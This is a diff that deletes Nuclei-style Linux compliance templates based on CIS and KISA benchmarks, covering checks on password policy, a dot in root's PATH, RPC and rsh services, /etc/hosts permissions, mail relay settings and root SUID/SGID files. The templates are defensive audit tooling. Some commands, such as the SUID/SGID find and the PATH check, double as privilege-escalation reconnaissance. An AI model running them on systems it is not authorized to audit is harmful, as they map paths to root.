# digest: 4a0a004730450220330c91b891028088a62cf87539435efb09e867da81d82656fe153f2032b450c8022100f5c059a68d37d56fbb607417af39f2cdad76a318f41d466fb1d89e57edf1d05c:922c64590222798bb761d5b6d8e72950
-48
View File
@@ -1,48 +0,0 @@
id: password-warn-age
info:
name: Ensure Password Expiration Warning Days is Configured
author: Th3l0newolf
severity: medium
description: |
The PASS_WARN_AGE setting in /etc/login.defs defines the number of days before password expiration that users are warned.To comply with CIS Ubuntu Linux Benchmark, this value should be set to 7 to provide sufficient notice for users to change passwords.
remediation: |
Edit /etc/login.defs and ensure the line is set to: PASS_WARN_AGE 7.Verify the change with: grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
WARN_AGE_LINE=$(grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs | head -n1)
if [ -n "$WARN_AGE_LINE" ]; then
VALUE=$(echo "$WARN_AGE_LINE" | awk '{print $2}')
if [ "$VALUE" -eq 7 ]; then
echo "[password-warn-age-check:Policy-Pass] [PASS_WARN_AGE is $VALUE (valid)] [CIS_PASS]"
else
echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE is $VALUE (invalid)] [CIS_FAIL]"
fi
else
echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE not set or malformed] [CIS_FAIL]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022015f03c2bbecc12ef5fd92faa8928633477ade84d8fcd8980daad1984cba9ce56022100bc5d09e37c69098da51ad12d5fe668c86785f76d2b1e1b19515f3018a73f9e8a:922c64590222798bb761d5b6d8e72950
-29
View File
@@ -1,29 +0,0 @@
id: root-path-dot
info:
name: Root PATH Contains Current Directory
author: songyaeji
severity: high
description: |
root user’s PATH environment variable included the current directory (“.”).This allowed scripts or binaries in the working directory to be executed with root privileges. The misconfiguration resulted in potential privilege escalation and unsafe behavior.
reference:
- https://isms.kisa.or.kr/main/csap/notice/
- https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
metadata:
verified: true
tags: local,linux,audit,privesc,kisa
self-contained: true
code:
- engine:
- sh
source: |
echo $PATH | grep -Eq '(^\.?:|:.:|:\.$|^\.$)' && echo "dot-in-path" || echo "safe-path"
matchers:
- type: word
part: response
words:
- "dot-in-path"
# digest: 4b0a004830460221009bc443da27ba4a09097561e6237be8676c76bea133bb051901740f075e5ffe6d022100b56139ecfd6da3702a70cee28aba51fbdc9dde4be9ae7742a31c020ee5bccebb:922c64590222798bb761d5b6d8e72950
-36
View File
@@ -1,36 +0,0 @@
id: rpc-enabled
info:
name: Unnecessary RPC Service (rstatd) Enabled
author: songyaeji
severity: high
description: |
Unnecessary RPC services like rstatd were enabled, allowing attackers to exploit buffer overflow, DoS, or remote execution vulnerabilities to gain root privileges and compromise the system.These services were expected to be disabled unless explicitly required.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,compliance,kisas
self-contained: true
code:
- engine:
- bash
source: |
if [ -f /etc/xinetd.d/rstatd ]; then
if grep -qE 'disable\s*=\s*no' /etc/xinetd.d/rstatd; then
echo "[VULNERABLE] rstatd RPC service is enabled in xinetd"
else
echo "[SAFE] rstatd RPC service is disabled in xinetd"
fi
elif systemctl is-active --quiet rstatd 2>/dev/null; then
echo "[VULNERABLE] rstatd service is active under systemd"
else
echo "[SAFE] rstatd service not found"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4b0a00483046022100f6750e913cde576eb96f1c12fb0f90474840d40783c1e161429833ad56d220b4022100930976aea7d528355a4292f446f0d04e47a668ee56c75baaadea94fb96d2441d:922c64590222798bb761d5b6d8e72950
-43
View File
@@ -1,43 +0,0 @@
id: rsh-client
info:
name: Ensure rsh Client is Not Installed
author: Th3l0newolf
severity: info
description: |
The rsh-client package provides the Remote Shell client, which transmits data in plaintext and is considered insecure.If not explicitly required, it should be removed to reduce exposure to unauthorized remote access.
remediation: |
Ensure the rsh-client package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove rsh-client -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,rsh
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
# Check if the rsh-client package is installed
if dpkg-query -W -f='${Status}' rsh-client 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-rsh-client-check:Policy-Fail] [rsh-client is installed] [CIS_FAIL]"
else
echo "[cis-rsh-client-check:Policy-Pass] [rsh-client is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100f533077d301c1f42c4d08231ece267cb23ed7b5c19ba1d044c4b1a84dcc14b7f02207cd04519969a2f4f6d584e3b3d04aec08b4eb4f85c07337d2692f13c1ca23791:922c64590222798bb761d5b6d8e72950
-29
View File
@@ -1,29 +0,0 @@
id: rw-hosts-file
info:
name: /etc/hosts File Read/Write Check
author: songyaeji
severity: high
description: |
The /etc/hosts file was writable by non-root users, allowing attackers to register malicious DNS mappings and redirect legitimate domains (pharming attacks). This check verified that /etc/hosts was owned by root and had appropriate permissions.
reference:
- https://isms.kisa.or.kr/main/csap/notice/
metadata:
verified: true
tags: local,linux,hosts,file,audit,kisa
self-contained: true
code:
- engine:
- sh
- bash
source: |
stat -c "%U %G %a" /etc/hosts 2>/dev/null || echo "not-found"
matchers:
- type: regex
part: response
regex:
- '^root\s+root\s+(600|644)$'
# digest: 4a0a00473045022017a5a0e8603f419052c28b1a4247cf2ad1427ed06e840c85cb976599aba89ac50221009d55c0bde34158f8e63bfd6c2a090e801dd4271f75947ef4ad2d9baa133294ab:922c64590222798bb761d5b6d8e72950
@@ -1,63 +0,0 @@
id: sendmail-postfix-execution-restrictions
info:
name: Sendmail/Postfix Execution Restrictions Misconfigured
author: songyaeji
severity: medium
description: |
General users were not restricted from executing Sendmail with the q option, and the Postfix binary lacked proper permission controls.This misconfiguration allowed unauthorized users to manipulate the mail queue or disrupt mail delivery.
reference:
- https://isms.kisa.or.kr
tags: local,linux,audit,sendmail,postfix,compliance
self-contained: true
code:
- engine:
- bash
source: |
if ! grep -qi 'restrictqrun' /etc/mail/sendmail.cf 2>/dev/null; then
echo "[VULNERABLE] sendmail.cf missing 'restrictqrun'"
else
echo "[SAFE] restrictqrun option is set in sendmail.cf"
fi
- engine:
- bash
source: |
if [ -x /usr/sbin/postfix ]; then
PERM="$(stat -c '%A' /usr/sbin/postfix 2>/dev/null || echo '')"
if [ "$PERM" != "-rwxr-x---" ]; then
echo "[VULNERABLE] /usr/sbin/postfix permission is '$PERM' (expected -rwxr-x---)"
else
echo "[SAFE] postfix binary permission is correct"
fi
fi
- engine:
- bash
source: |
if getent group postfix >/dev/null 2>&1; then
MEMBERS="$(getent group postfix | awk -F ':' '{print $4}')"
echo "$MEMBERS" | grep -qw root || echo "[VULNERABLE] 'root' not in 'postfix' group"
fi
matchers:
- type: word
name: restrictqrun
part: code_1_response
words:
- "[VULNERABLE]"
- type: word
name: postfix-permission
part: code_2_response
words:
- "[VULNERABLE]"
- type: word
name: postfix-group
part: code_3_response
words:
- "[VULNERABLE]"
# digest: 4a0a004730450220532eeadc9b326aedf00c342a793b477a85a927a91a2fb1ae9caf341d4f41aa32022100cad5d3ff5d3bc482a80979d50961d98d11788235a82926fcff701b4028fff58c:922c64590222798bb761d5b6d8e72950
-59
View File
@@ -1,59 +0,0 @@
id: smtp-open-relay
info:
name: Linux SMTP Open Relay Misconfigured
author: songyaeji
severity: high
description: |
Sendmail and Postfix were checked for proper restrictions against unauthorized relay attempts. Improper configurations allowed attackers to abuse the server for spam or denial-of-service (DoS) attacks.
reference:
- https://isms.kisa.or.kr
tags: linux,local,kisa,audit,compliance
self-contained: true
code:
- engine:
- bash
source: |
if ps -ef | grep -v grep | grep -q sendmail; then
if grep -q 'R\$.\* \$#error \$@ 5.7.1 \$: "550 Relaying denied"' /etc/mail/sendmail.cf 2>/dev/null \
|| (test -f /etc/mail/access.db && echo "[INFO] Sendmail access.db exists (relay likely restricted)"); then
echo "[SAFE] Sendmail relay restriction is configured."
else
echo "[VULNERABLE] Sendmail relay restriction is missing."
fi
else
echo "[INFO] Sendmail is not active."
fi
- engine:
- bash
source: |
if systemctl is-active postfix | grep -q running; then
mynetworks=$(grep -E '^\s*mynetworks\s*=' /etc/postfix/main.cf 2>/dev/null)
relay_restrict=$(grep -E '^\s*smtpd_relay_restrictions\s*=.*permit_mynetworks' /etc/postfix/main.cf 2>/dev/null)
reject_unauth=$(grep -E '^\s*smtpd_relay_restrictions\s*=.*reject_unauth_destination' /etc/postfix/main.cf 2>/dev/null)
if [[ -z "$mynetworks" || -z "$relay_restrict" || -z "$reject_unauth" ]]; then
echo "[VULNERABLE] Postfix relay restrictions are missing or misconfigured."
else
echo "[SAFE] Postfix relay restrictions are properly configured."
fi
else
echo "[INFO] Postfix is not active."
fi
matchers:
- type: word
name: sendmail
part: code_1_response
words:
- "[VULNERABLE]"
- type: word
name: postfix
part: code_2_response
words:
- "[VULNERABLE]"
# digest: 490a00463044022007bbf2c607700ae13d4c405a692792e71588ae5ba345fdaf3607a3857d7407c6022078e9830186951fe00d87c820cb91bd2cde6a00a10675cdf22267e85a4a5ccf60:922c64590222798bb761d5b6d8e72950
@@ -1,48 +0,0 @@
id: strong-password-hashing
info:
name: Ensure Strong Password Hashing Algorithm is Configured
author: Th3l0newolf
severity: high
description: |
The ENCRYPT_METHOD setting in /etc/login.defs specifies the algorithm used to hash passwords.It should be set to SHA512 or yescrypt, as weaker algorithms may expose passwords to brute-force attacks.
remediation: |
Edit /etc/login.defs and set ENCRYPT_METHOD to either SHA512 or yescrypt.Verify with: grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,password
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
HASH_METHOD_LINE=$(grep -Pi -- '^\h*ENCRYPT_METHOD\h+(SHA512|yescrypt)\b' /etc/login.defs | head -n1)
if [ -n "$HASH_METHOD_LINE" ]; then
VALUE=$(echo "$HASH_METHOD_LINE" | awk '{print $2}' | tr '[:upper:]' '[:lower:]')
if [ "$VALUE" = "sha512" ] || [ "$VALUE" = "yescrypt" ]; then
echo "[strong-password-hashing-check:Policy-Pass] [ENCRYPT_METHOD is $VALUE (valid)] [CIS_PASS]"
else
echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD is $VALUE (invalid)] [CIS_FAIL]"
fi
else
echo "[strong-password-hashing-check:Policy-Fail] [ENCRYPT_METHOD not set or malformed] [CIS_FAIL]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100cd6bf4ce19f4fb0e8d029237a76e2574dd9d82278c7a528d5f633f2f6201bc29022053f3b756734482a237fa8af52147eb59164c143c06d425727c1ddb5b4ad4340c:922c64590222798bb761d5b6d8e72950
-26
View File
@@ -1,26 +0,0 @@
id: suid-sgid
info:
name: Root SUID/SGID File Check
author: songyaeji
severity: high
description: |
Files owned by root with SUID or SGID permissions could have led to privilege escalation.if misconfigured. This template detected such files for further review.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,compliance,privesc,kisas
self-contained: true
code:
- engine:
- sh
- bash
source: |
find / -user root -type f \( -perm -4000 -o -perm -2000 \) -exec ls -lg {} \; 2>/dev/null | head -n 10
matchers:
- regex:
- "^-rws.*" # SUID
- "^-..s.*" # SGID
# digest: 490a00463044022061acb684d2780baafc78c626e925de50807f037fe4b67af44437df254d16889a02204668b1b627f4944cbe222aa6ac9e513e65b2646214cfaa42353e5044ea9624aa:922c64590222798bb761d5b6d8e72950
Loaded 100 of 4035 files, more files were not shown because too many files have changed in this diff. Show more